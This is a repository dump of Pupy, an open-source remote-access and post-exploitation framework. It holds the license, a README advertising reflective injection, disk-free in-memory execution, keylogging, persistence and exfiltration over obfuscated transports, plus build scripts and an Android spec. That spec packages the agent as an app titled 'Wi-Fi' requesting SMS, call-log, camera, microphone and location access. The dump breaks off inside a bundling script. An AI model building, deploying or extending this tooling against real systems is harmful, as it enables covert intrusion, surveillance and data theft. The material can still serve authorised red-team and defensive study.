- secure: Ro35F3YR2e1vOnDSBTHe9HdUxC7N0CEk9cxNaiOrF34qm8EhS4SJT5pv6rmNWPw8eKctS35NFtHPkkPI1WSsomFxDSd36cq2e2vfO4vrfqojXEvPqeoJMneLV1/cmNUlX8kz3NDxOCyRBaPzF1fhem7QAmdWPZ005JzaZzPysQVXe0eTH5M1JKlLWBKkMgIDb/T0pI/zPq/kJc5V81ci9D7IVe8hlNR6SdSIZ4xOvBfZcPGMRZHew9yMIvI9a81uSplBy1LkX557Udj9n3A/4K5OsY+mrsJRd7Yk1AHB4SPLc2fW9GXiUCTVFCViQFX3YwdcPdbLnHVZbsVE6TfSrgN4GndG2OIkcVNXMgnNYk9bFjRcrXa+i+Oa2nnOQ0eYdvXuW5kGPoeoyJQZZWa9c3fWgt71Ze7eP/6SWIQ4mEyzpbWVHqL8m7aNGvI8/mfqlSk138ZiDYY1Va/IlcWwrBerkQaUz7a/j6sohB2zpua05LNrxW8ZPDhMo0Kq+U+e/x6Qqgc35MnnfhJR8AvA2CRccaxptWBcfzFlJ1CHhLKhdwSA8zfa58vRDnGphwqYO+FF44Tmr1NwRMT3ytHB5GtTSlUjzy0Evmyf81hhI0S+5L2Oeuv1n0sQEf/qS9Tfppuc36gAQClRgmHFgmM5WkIOQy/lyRKDUkM7/JUsE50=
================================================
FILE: LICENSE
================================================
Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
Pupy also uses some code source/libraries from other projects under different licenses. Among these project, you may find :
-For the client part:
cf the file client/sources/LICENSES.txt
-For the packages located in pupy/packages/:
-VideoCapture by Markus Gritsch (m.gritsch@gmail.com) under the LGPL license.
http://videocapture.sourceforge.net/
-psutil by Giampaolo Rodola under the BSD license
https://github.com/giampaolo/psutil
-For the external libraries in pupy/external/
-creddump software is under GPLv3 license, you can see the full license terms in pupy/external/creddump7/COPYING.orig
-For the transports :
-obfsproxy software is under the 3-Clause BSD License. Copyright 2013 George Kadianakis
-For the launchers :
-SocksiPy - Python SOCKS module. 3-Clause BSD License. Copyright 2006 Dan-Haim. (cf pupy/network/socks.py)
================================================
FILE: README.md
================================================
# Pupy
[](https://travis-ci.org/n1nj4sec/pupy)
## Simple Installation
```
pip3 install pipx
pipx ensurepath
pipx install git+https://github.com/n1nj4sec/pupy@nextgen
pupysh
```
~~If you want more detailed information [Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki/Installation)~~
## Development Install
```
git clone https://github.com/n1nj4sec/pupy
cd pupy
git checkout nextgen
git submodule init
git submodule update
pip install venv
python3 -m venv pupyvenv
source pupyvenv/bin/activate
pip install -r requirements.txt
```
run pupysh from the dev install :
```
source pupyenv/bin/activate
python3 -m pupy.cli
```
## Description
Pupy is a cross-platform, multi function C2 and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory.
## Features
- Windows payload can load the entire Python interpreter from memory using a reflective DLL.
- Pupy does not touch the disk.
- Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes.
- PyCrypto gets replaced by pure Python AES & RSA implementations when unavailable.
- Reflectively migrate into other processes.
- Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory.
- Imported python modules do not touch the disk.
- Easily extensible, modules are simple to write and are sorted by os and category.
- Modules can directly access python objects on the remote client using [rpyc](https://github.com/tomerfiliba/rpyc).
- Access remote objects interactively from the pupy shell and get auto-completion of remote attributes.
- Communication transports are modular and stackable. Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports.
- Communicate using obfsproxy [pluggable transports.](https://www.torproject.org/docs/pluggable-transports.html.en)
- Execute noninteractive commands on multiple hosts at once.
- Commands and scripts running on remote hosts are interruptible.
- Auto-completion for commands and arguments.
- Custom config can be defined: command aliases, modules. automatically run at connection, etc.
- Open interactive python shells with auto-completion on the all-in-memory remote python interpreter.
- Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely.
- Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell.
- Execute PE executable remotely and from memory.
- Generate payloads in various formats:
| Format | Architecture | Short Name |
|---|---|---|
~~ Android Package ~~ | x86 & ARMv7 | apk
Linux Binary | x86 | lin_x86
Linux Binary | x64 | lin_x64
Linux Shared Object | x86 | so_x86
Linux Shared Object | x64 | so_x64
Windows PE Executable | x86 | exe_x86
Windows PE Executable | x64 | exe_x64
Windows DLL | x86 | dll_x86
Windows DLL | x64 | dll_x64
Python Script | x86 & x64 | py
Python Oneliner | x86 & x64 | py_oneliner
Powershell | x86 & x64 | ps1
Powershell Oneliner | x86 & x64 | ps1_oneliner
- Deploy in memory from a single command line using python or powershell one-liners.
- Embed "scriptlets" in generated payloads to perform some tasks "offline" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.)
- Multiple Target Platforms:
| Platform | Support Status |
|---|---|
Windows XP | ~~ Supported ~~ python dropped support
Windows 7 | ~~ Supported ~~ python dropped support
Windows 8 | Supported
Windows 10 | Supported
Linux | Supported
Mac OSX | Limited Support
Android | Limited Support
## Documentation
All documentation can be found on the wiki.
[Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki)
## FAQ
> Does the server work on windows?
Pupy has not been tested on Windows. Theoretically, it should work on any platform that supports Docker and Docker Compose. However, you will need to adapt the Docker Compose installation instructions for the Windows platform.
> I can't install Pupy. The installation fails.
1. Please refer to the wiki. It is possible that your answer is there.
2. Search the Github issues and see if your issue was already solved.
3. If you issue was not solved, open a new issue following the [issue guidelines](https://github.com/n1nj4sec/pupy/wiki/Issue-Guidelines).
If you do not follow these steps, you issue will be closed.
> Android and/or Mac OSX payloads and modules don't work.
Pupy has _limited_ support for Android and OSX. These platforms may not be well maintained and may break intermittently. Some modules (i.e. keylogger) may be missing for these platforms.
## Development
If some of you want to participate to pupy development, don't hesitate! All help is greatly appreciated and all pull requests will be reviewed.
Also there is small [note](https://github.com/n1nj4sec/pupy/wiki/Development) about development. Please run flake8 before doing any commits. File with config is [here](pupy/tox.ini).
## Contact
| Platform | Contact Info |
|---|---|
Email | contact@n1nj4.eu
Twitter | https://twitter.com/n1nj4sec
This project is a [personal development](https://en.wikipedia.org/wiki/Personal_development), please respect its philosophy and don't use it for evil purposes!
## Special thanks
Special thanks to all contributors & supporters that help improve pupy and make it a better tool! :)
================================================
FILE: client/additional_imports.py
================================================
from __future__ import print_function
import umsgpack
import socket
import threading
import queue
import collections
import _struct
import struct
import os
import sys
import time
import traceback
import uuid
import subprocess
import imp
import hashlib
import hmac
import base64
import logging
import re
import ssl
import tempfile
import string
import datetime
import random
import shutil
import platform
import errno
import stat
import zlib
import code
import glob
import math
import binascii
import shlex
import json
import ctypes
import threading
import urllib
import getpass
import __future__
import netaddr
import urllib_auth
import http_parser
import unicodedata
import getpass
import importlib
import importlib.util
import contextlib
import warnings
import abc
import _py_abc
import keyword
try:
import psutil
except Exception as e:
print("psutil: ", e)
import pyexpat
import fnmatch
try:
import dukpy
except ImportError:
print("dukpy not found")
try:
import kcp
except ImportError:
print("kcp not found")
try:
import uidle
except ImportError:
print("uidle not found")
#import poster
if 'win' in sys.platform:
import ctypes.wintypes
try:
import win_inet_pton
except AttributeError:
pass
import winkerberos
else:
import pty
try:
import kerberos
except ImportError:
print("kerberos not found")
================================================
FILE: client/android_sources/build-docker.sh
================================================
#!/bin/sh
SELF=`readlink -f "$0"`
SELFPWD=`dirname "$SELF"`
SRC=${SELFPWD:-`pwd`}
cd $SRC
TEMPLATES=`readlink -f ../../pupy/payload_templates`
rm -f $TEMPLATES/pupy.apk
rm -f buildozer.spec
sed -e "s@%BUILDOZER%@$BUILDOZER_CACHE@" buildozer-docker.spec >buildozer.spec
buildozer android release
mv $SRC/bin/Wi-Fi-0.1-release-unsigned.apk $TEMPLATES/pupy.apk || exit 1
================================================
FILE: client/android_sources/build.sh
================================================
#!/bin/sh
export PATH=$PATH:$HOME/.local/bin
pip install --user --upgrade git+https://github.com/kivy/buildozer
[ -f buildozer.spec ] || ln -sf buildozer.spec.example buildozer.spec
buildozer android release
mv .buildozer/android/platform/build/dists/pupy/bin/Wi-Fi-0.1-release-unsigned.apk \
../../pupy/payload_templates/pupy.apk || exit 1
rm -rf .buildozer/android/platform/build
rm -rf ~/.buildozer/android/platform/*.tar.gz
rm -rf ~/.buildozer/android/platform/*.tgz
rm -rf ~/.buildozer/android/platform/*.tar.bz2
================================================
FILE: client/android_sources/buildozer-docker.spec
================================================
[app]
title = Wi-Fi
package.name = pupy
package.domain = org.pupy
source.dir = .
source.include_exts = py,pyc,pyo,png,jpg,kv,atlas
#source.include_patterns = assets/*,images/*.png
#source.exclude_exts = spec
source.exclude_dirs = python-for-android, bin
#source.exclude_patterns = license,images/*/*.jpg
version = 0.1
requirements = genericndkbuild,pycryptodome,plyer,psutil,tinyec,netaddr,dnslib,pyjnius,pyuv,cryptography,kcp,msgpack-python,scandir,ushlex
#presplash.filename = %(source.dir)s/data/presplash.png
#icon.filename = %(source.dir)s/data/icon.png
orientation = all
fullscreen = 0
android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE
#android.api = 19
#android.minapi = 9
#android.sdk = 20
#android.ndk = 9c
#android.private_storage = True
#android.ndk_path =
#android.sdk_path =
#android.ant_path =
p4a.source_dir = python-for-android
# p4a.local_recipes = python-for-android/pythonforandroid/recipes
#p4a.hook =
android.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so
android.skip_update = True
p4a.bootstrap = badservice
#android.add_src =
#android.add_aars =
#android.add_libs_armeabi = libs/android/*.so
#android.add_libs_armeabi_v7a = libs/android-v7/*.so
#android.add_libs_x86 = libs/android-x86/*.so
#android.add_libs_mips = libs/android-mips/*.so
#android.wakelock = False
#android.meta_data =
#android.library_references =
#android.logcat_filters = *:S python:D
#android.copy_libs = 1
android.arch = armeabi-v7a
[buildozer]
log_level = 1
warn_on_root = 0
build_dir = %BUILDOZER%
# bin_dir = ./bin
================================================
FILE: client/android_sources/buildozer.spec.example
================================================
[app]
# (str) Title of your application
title = Wi-Fi
# (str) Package name
package.name = pupy
# (str) Package domain (needed for android/ios packaging)
package.domain = org.pupy
# (str) Source code where the main.py live
source.dir = .
# (list) Source files to include (let empty to include all the files)
source.include_exts = py,pyc,pyo,png,jpg,kv,atlas
# (list) List of inclusions using pattern matching
#source.include_patterns = assets/*,images/*.png
# (list) Source files to exclude (let empty to not exclude anything)
#source.exclude_exts = spec
# (list) List of directory to exclude (let empty to not exclude anything)
source.exclude_dirs = python-for-android, bin
# (list) List of exclusions using pattern matching
#source.exclude_patterns = license,images/*/*.jpg
# (str) Application versioning (method 1)
version = 0.1
# (str) Application versioning (method 2)
# version.regex = __version__ = ['"](.*)['"]
# version.filename = %(source.dir)s/main.py
# (list) Application requirements
# comma seperated e.g. requirements = sqlite3,kivy
requirements = pycrypto,plyer,psutil,tinyec,netaddr,pyjnius,pyuv,cryptography
# (str) Custom source folders for requirements
# Sets custom source for any requirements with recipes
# requirements.source.kivy = ../../kivy
# (list) Garden requirements
#garden_requirements =
# (str) Presplash of the application
#presplash.filename = %(source.dir)s/data/presplash.png
# (str) Icon of the application
#icon.filename = %(source.dir)s/data/icon.png
# (str) Supported orientation (one of landscape, portrait or all)
orientation = all
# (list) List of service to declare
# services = pupy:service/main.py
#
# OSX Specific
#
#
# author = © Copyright Info
# change the major version of python used by the app
osx.python_version = 3
# Kivy version to use
osx.kivy_version = 1.9.1
#
# Android specific
#
# (bool) Indicate if the application should be fullscreen or not
fullscreen = 0
# (string) Presplash background color (for new android toolchain)
# Supported formats are: #RRGGBB #AARRGGBB or one of the following names:
# red, blue, green, black, white, gray, cyan, magenta, yellow, lightgray,
# darkgray, grey, lightgrey, darkgrey, aqua, fuchsia, lime, maroon, navy,
# olive, purple, silver, teal.
#android.presplash_color = #FFFFFF
# (list) Permissions
android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE
# (int) Android API to use
#android.api = 19
# (int) Minimum API required
#android.minapi = 9
# (int) Android SDK version to use
#android.sdk = 20
# (str) Android NDK version to use
#android.ndk = 9c
# (bool) Use --private data storage (True) or --dir public storage (False)
#android.private_storage = True
# (str) Android NDK directory (if empty, it will be automatically downloaded.)
#android.ndk_path =
# (str) Android SDK directory (if empty, it will be automatically downloaded.)
#android.sdk_path =
# (str) ANT directory (if empty, it will be automatically downloaded.)
#android.ant_path =
# (str) python-for-android git clone directory (if empty, it will be automatically cloned from github)
p4a.source_dir = python-for-android
# (str) The directory in which python-for-android should look for your own build recipes (if any)
p4a.local_recipes = python-for-android/pythonforandroid/recipes
# (str) Filename to the hook for p4a
#p4a.hook =
# (list) python-for-android whitelist
android.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so
# (bool) If True, then skip trying to update the Android sdk
# This can be useful to avoid excess Internet downloads or save time
# when an update is due and you just want to test/build your package
# android.skip_update = True
# (str) Bootstrap to use for android builds (android_new only)
p4a.bootstrap = badservice
# (str) Android entry point, default is ok for Kivy-based app
#android.entrypoint = org.renpy.android.PythonActivity
# (list) List of Java .jar files to add to the libs so that pyjnius can access
# their classes. Don't add jars that you do not need, since extra jars can slow
# down the build process. Allows wildcards matching, for example:
# OUYA-ODK/libs/*.jar
#android.add_jars = foo.jar,bar.jar,path/to/more/*.jar
# (list) List of Java files to add to the android project (can be java or a
# directory containing the files)
#android.add_src =
# (list) Android AAR archives to add (currently works only with sdl2_gradle
# bootstrap)
#android.add_aars =
# (list) Gradle dependencies to add (currently works only with sdl2_gradle
# bootstrap)
#android.gradle_dependencies =
# (str) python-for-android branch to use, if not master, useful to try
# not yet merged features.
#android.branch = master
# (str) OUYA Console category. Should be one of GAME or APP
# If you leave this blank, OUYA support will not be enabled
#android.ouya.category = GAME
# (str) Filename of OUYA Console icon. It must be a 732x412 png image.
#android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png
# (str) XML file to include as an intent filters in <activity> tag
#android.manifest.intent_filters =
# (list) Android additionnal libraries to copy into libs/armeabi
#android.add_libs_armeabi = libs/android/*.so
#android.add_libs_armeabi_v7a = libs/android-v7/*.so
#android.add_libs_x86 = libs/android-x86/*.so
#android.add_libs_mips = libs/android-mips/*.so
# (bool) Indicate whether the screen should stay on
# Don't forget to add the WAKE_LOCK permission if you set this to True
#android.wakelock = False
# (list) Android application meta-data to set (key=value format)
#android.meta_data =
# (list) Android library project to add (will be added in the
# project.properties automatically.)
#android.library_references =
# (str) Android logcat filters to use
#android.logcat_filters = *:S python:D
# (bool) Copy library instead of making a libpymodules.so
#android.copy_libs = 1
# (str) The Android arch to build for, choices: armeabi-v7a, arm64-v8a, x86
android.arch = armeabi-v7a
#
# iOS specific
#
# (str) Path to a custom kivy-ios folder
#ios.kivy_ios_dir = ../kivy-ios
# (str) Name of the certificate to use for signing the debug version
# Get a list of available identities: buildozer ios list_identities
#ios.codesign.debug = "iPhone Developer: <lastname> <firstname> (<hexstring>)"
# (str) Name of the certificate to use for signing the release version
#ios.codesign.release = %(ios.codesign.debug)s
[buildozer]
# (int) Log level (0 = error only, 1 = info, 2 = debug (with command output))
log_level = 1
# (int) Display warning if buildozer is run as root (0 = False, 1 = True)
warn_on_root = 0
# (str) Path to build artifact storage, absolute or relative to spec file
# build_dir = ./.buildozer
# (str) Path to build output (i.e. .apk, .ipa) storage
# bin_dir = ./bin
# -----------------------------------------------------------------------------
# List as sections
#
# You can define all the "list" as [section:key].
# Each line will be considered as a option to the list.
# Let's take [app] / source.exclude_patterns.
# Instead of doing:
#
#[app]
#source.exclude_patterns = license,data/audio/*.wav,data/images/original/*
#
# This can be translated into:
#
#[app:source.exclude_patterns]
#license
#data/audio/*.wav
#data/images/original/*
#
# -----------------------------------------------------------------------------
# Profiles
#
# You can extend section / key with a profile
# For example, you want to deploy a demo version of your application without
# HD content. You could first change the title to add "(demo)" in the name
# and extend the excluded directories to remove the HD content.
#
#[app@demo]
#title = My Application (demo)
#
#[app:source.exclude_patterns@demo]
#images/hd/*
#
# Then, invoke the command line with the "demo" profile:
#
#buildozer --profile demo android debug
================================================
FILE: client/android_sources/main.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import os
import platform
import time
os.environ['KIVY_NO_FILELOG'] = 'yes'
platform.system = lambda: 'android'
if __name__ == '__main__':
import sys
setattr(sys, 'executable', 'PythonService')
import pp
while True:
try:
pp.main()
except Exception as e:
import traceback
traceback.print_exc()
time.sleep(10)
================================================
FILE: client/android_sources/pp.py
================================================
from __future__ import print_function
import time
def main():
print("pp.py is not replaced with working one!")
time.sleep(1)
================================================
FILE: client/build-docker.sh
================================================
#!/bin/bash
SELF=`readlink -f "$0"`
PUPY=`dirname "$SELF"`/../
PUPY=`readlink -f "$PUPY"`
DOCKER_COMMAND=${DOCKER_COMMAND:-docker}
DOCKER_REPO=${DOCKER_REPO:-"n1nj4sec"}
CLEAN=${CLEAN:-"no"}
if [ ! -z "$REPO" ]; then
if [ "$REPO" == "local" ]; then
REPO=""
else
REPO="$REPO/"
fi
else
REPO="${DOCKER_REPO}/"
fi
echo $PUPY
set -e
start_container() {
TOOLCHAIN="tc-$1"
CONTAINER_NAME="build-pupy-$1"
SOURCES="$2"
SCRIPT="client/$SOURCES/build-docker.sh"
(
echo
echo "[+] Build $SOURCES with toolchain ${REPO}$TOOLCHAIN"
NEW=""
${DOCKER_COMMAND} container inspect ${CONTAINER_NAME} >/dev/null 2>/dev/null || NEW=1
if [ ! -z "$NEW" ]; then
mkdir -p /tmp/pupy-build/${REPO}${TOOLCHAIN}
${DOCKER_COMMAND} run --name ${CONTAINER_NAME} \
-v ${PUPY}:/build/workspace/project ${REPO}${TOOLCHAIN} ${SCRIPT}
else
${DOCKER_COMMAND} start -ai ${CONTAINER_NAME}
fi
if [ "$CLEAN" == "yes" ]; then
${DOCKER_COMMAND} rm ${CONTAINER_NAME}
fi
echo
)
}
if [ ! -z "$1" ] && [ ! -z "$2" ]; then
start_container $1 $2
else
start_container windows-py3 sources-windows-py3
start_container pupy-linux-py3 sources-linux-py3
#start_container linux32 sources-linux
#start_container linux-amd64-py3 sources-linux-py3
#start_container linux-amd64-py2 sources-linux-py2
#start_container android android_sources
fi
================================================
FILE: client/build_library_zip.py
================================================
# -*- coding: utf-8 -*-
from __future__ import print_function
import site
import sys
import sysconfig
import os
import imp
import importlib
import marshal
import shutil
import zipfile
from glob import glob
from distutils.core import setup
THIS = os.path.abspath(__file__)
ROOT = os.path.dirname(os.path.dirname(THIS))
print("THIS:", THIS)
print("ROOT: ", ROOT)
PATCHES=None
if sys.version_info[0]==2 :
PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py2')
else:
PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py3')
sys.path.insert(0, PATCHES)
sys.path.append(os.path.join(ROOT))
#sys.path.append(os.path.join(ROOT, 'pupy', 'pupylib'))
setattr(sys, "__from_build_library_zip_compiler__", True)
from pupy.pupylib.PupyCompile import pupycompile
sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'all'))
if sys.platform == 'win32':
sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'windows', 'all'))
elif sys.platform.startswith('linux'):
sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'linux', 'all'))
sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all'))
else:
sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all'))
import additional_imports
print("Load pupy")
try:
import pupy.agent
print("Module loaded")
pupy.agent.prepare(debug=True)
print("Prepare called")
except Exception as e:
print("Load pupy.. FAILED: {}".format(e))
raise
print("Load pupy.. OK")
sys_modules = [
(x, sys.modules[x]) for x in sys.modules.keys()
]
compile_map = []
def compile_py(path):
global compile_map
global fileid
fileid = len(compile_map)
compile_map.append(path)
data = None
try:
data = pupycompile(path, 'f:{:x}'.format(fileid), path=True)
print("[C] {} -> f:{:x}".format(path, fileid))
except ValueError:
print("[C] {} -> failed".format(path))
return data
all_dependencies = set(
[
x.split('.')[0] for x, m in sys_modules
if '(built-in)' not in str(m) and x != '__main__'
] + [
'Crypto', 'pyasn1', 'rsa', 'stringprep'
]
)
all_dependencies.add('site')
all_dependencies.add('sysconfig')
all_dependencies.add('re')
exceptions = (
'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules',
'network', 'pupyimporter', 'additional_imports', '_openssl'
)
all_dependencies = sorted(list(set(all_dependencies)))
for dep in list(all_dependencies):
for excluded in exceptions:
if dep == excluded or dep.startswith(excluded + '.'):
try:
all_dependencies.remove(dep)
except Exception as e:
print("could not remove dependency {}: {}".format(dep, e))
ignore = {
'_cffi_backend.pyd',
# We don't use this anyway
'Crypto/PublicKey/ElGamal.py',
'Crypto/PublicKey/RSA.py',
'Crypto/PublicKey/_openssh.py',
'Crypto/PublicKey/_ec_ws.so',
'Crypto/PublicKey/_ec_ws.pyd',
'Crypto/PublicKey/ECC.py',
'Crypto/PublicKey/__init__.py',
'Crypto/PublicKey/DSA.py',
# If it's known that GSSAPI is used and required during bootstrap,
# it's worth to comment this line (adds 1MB)
'kerberos.so',
'json/tool.py',
'rsa/cli.py',
}
if sys.platform.startswith('linux'):
ignore.update({
'psutil/_pswindows.py'
})
elif sys.platform.startswith('win'):
ignore.update({
'_psaix.py',
'_psbsd.py',
'_pslinux.py',
'_psosx.py',
'_pssunos.py'
})
for dep in ('cffi', 'pycparser', 'pyaes', 'distutils'):
if dep in all_dependencies:
all_dependencies.remove(dep)
print("ALLDEPS: ", all_dependencies)
zf = zipfile.ZipFile(sys.argv[1], mode='w', compression=zipfile.ZIP_DEFLATED)
zf.writestr(
'bundlevars.pyo',
pupycompile(
'bundlevars={}'.format(repr({
k: v for k, v in sysconfig.get_config_vars().items()
if k not in (
'BINDIR', 'BINLIBDEST', 'CONFINCLUDEDIR', 'CONFINCLUDEPY',
'COREPYTHONPATH', 'COVERAGE_INFO', 'COVERAGE_REPORT',
'DESTDIRS', 'DESTLIB', 'DESTSHARED', 'INCLDIRSTOMAKE',
'INCLUDEDIR', 'INCLUDEPY', 'INSTALL', 'INSTALL_DATA',
'INSTALL_PROGRAM', 'INSTALL_SCRIPT', 'INSTALL_SHARED',
'LIBDEST', 'LIBDIR', 'LIBFFI_INCLUDEDIR', 'LIBOBJDIR',
'LIBP', 'LIBPC', 'LIBPL', 'LIBSUBDIRS', 'MACHDEPPATH',
'MACHDESTLIB', 'MAKESETUP', 'MANDIR', 'MKDIR_P', 'PLATMACDIRS',
'PLATMACPATH', 'PYTHONPATH', 'RUNSHARED', 'SCRIPTDIR',
'SRC_GDB_HOOKS', 'TESTPROG', 'TESTPYTHON', 'abs_builddir',
'abs_srcdir', 'base', 'datarootdir', 'exec_prefix', 'platbase',
'prefix', 'projectbase', 'userbase'
)
})),
'<vars>', path=False
)
)
import platform
#TODO: update if needed
if 'win' in sys.platform:
bits='64' if '64' in platform.architecture()[0] else '32'
for root, _, files in os.walk('C:\\Python3-'+bits+'\\Lib\\site-packages'):
for file in files:
if file.lower().endswith((".dll",".pyd")):
print("interesting file :", file)
if file.lower() in ('_win32sysloader.pyd'):
zf.write(os.path.join(root, file), file)
if file.lower().startswith("pywintypes") and file.lower().endswith(".dll"):
zf.write(os.path.join(root, file), file)
try:
content = set(ignore)
for dep in all_dependencies:
#spec=importlib.util.find_spec(dep)
#print(spec)
#print(dir(spec))
print(dep)
if dep.startswith("_cython_") or dep in ["cython_runtime", "pywin32_system32"]:
continue
_, mpath, info = imp.find_module(dep)
#print("mpath", mpath, "info", info)
if mpath == None:
continue
print("DEPENDENCY: ", dep, mpath)
if info[2] == imp.PKG_DIRECTORY:
print('adding package %s / %s' % (dep, mpath))
path, root = os.path.split(mpath)
for root, dirs, files in os.walk(mpath):
for f in list(set([x.rsplit('.', 1)[0] for x in files])):
found = False
need_compile = True
for ext in ('.dll', '.so', '.pyd', '.py', '.pyc', '.pyo'):
if (ext == '.pyc' or ext == '.pyo') and found:
continue
pypath = os.path.join(root, f+ext)
if os.path.exists(pypath):
ziproot = root[len(path)+1:].replace('\\', '/')
zipname = '/'.join([ziproot,
f.split('.', 1)[0] + ext])
found = True
if ziproot.startswith('site-packages'):
ziproot = ziproot[14:]
if zipname.startswith('network/transports/') and \
not zipname.startswith('network/transports/__init__.py'):
continue
# Remove various testcases if any
if any(['/'+x+'/' in zipname for x in [
'tests', 'test', 'SelfTest', 'SelfTests', 'examples',
'experimental', '__pycache__'
]
]):
continue
if zipname in content:
continue
file_root = root
if os.path.exists(os.path.join(PATCHES, f+'.py')):
print('found [PATCH] for {}'.format(f))
file_root = PATCHES
ext = '.py'
elif os.path.exists(os.path.sep.join([PATCHES] + zipname.split('/'))):
print('found [PATCH ZROOT] for {}'.format(f))
file_root = os.path.sep.join(
[PATCHES] + ziproot.split('/'))
ext = '.py'
if ext == '.py' and need_compile:
bytecode = compile_py(os.path.join(file_root, f+ext))
if not bytecode:
continue
zf.writestr(zipname+'o', bytecode)
else:
zf.write(os.path.join(
file_root, f+ext), zipname)
print('adding file : {}'.format(zipname))
content.add(zipname)
break
else:
if '<memimport>' in mpath:
continue
found_patch = None
for extp in ('.py', '.pyc', '.pyo'):
if os.path.exists(os.path.join(PATCHES, dep+extp)):
found_patch = (os.path.join(PATCHES, dep+extp), extp)
break
if found_patch:
if dep+found_patch[1] in content:
continue
print('adding [PATCH] %s -> %s' %
(found_patch[0], dep+found_patch[1]))
if found_patch[0].endswith('.py'):
zf.writestr(
dep+found_patch[1]+'o',
compile_py(found_patch[0]))
else:
zf.write(found_patch[0], dep+found_patch[1])
else:
_, ext = os.path.splitext(mpath)
if dep+ext in content:
continue
print('adding %s -> %s' % (mpath, dep+ext))
if mpath.endswith(('.pyc', '.pyo', '.py')):
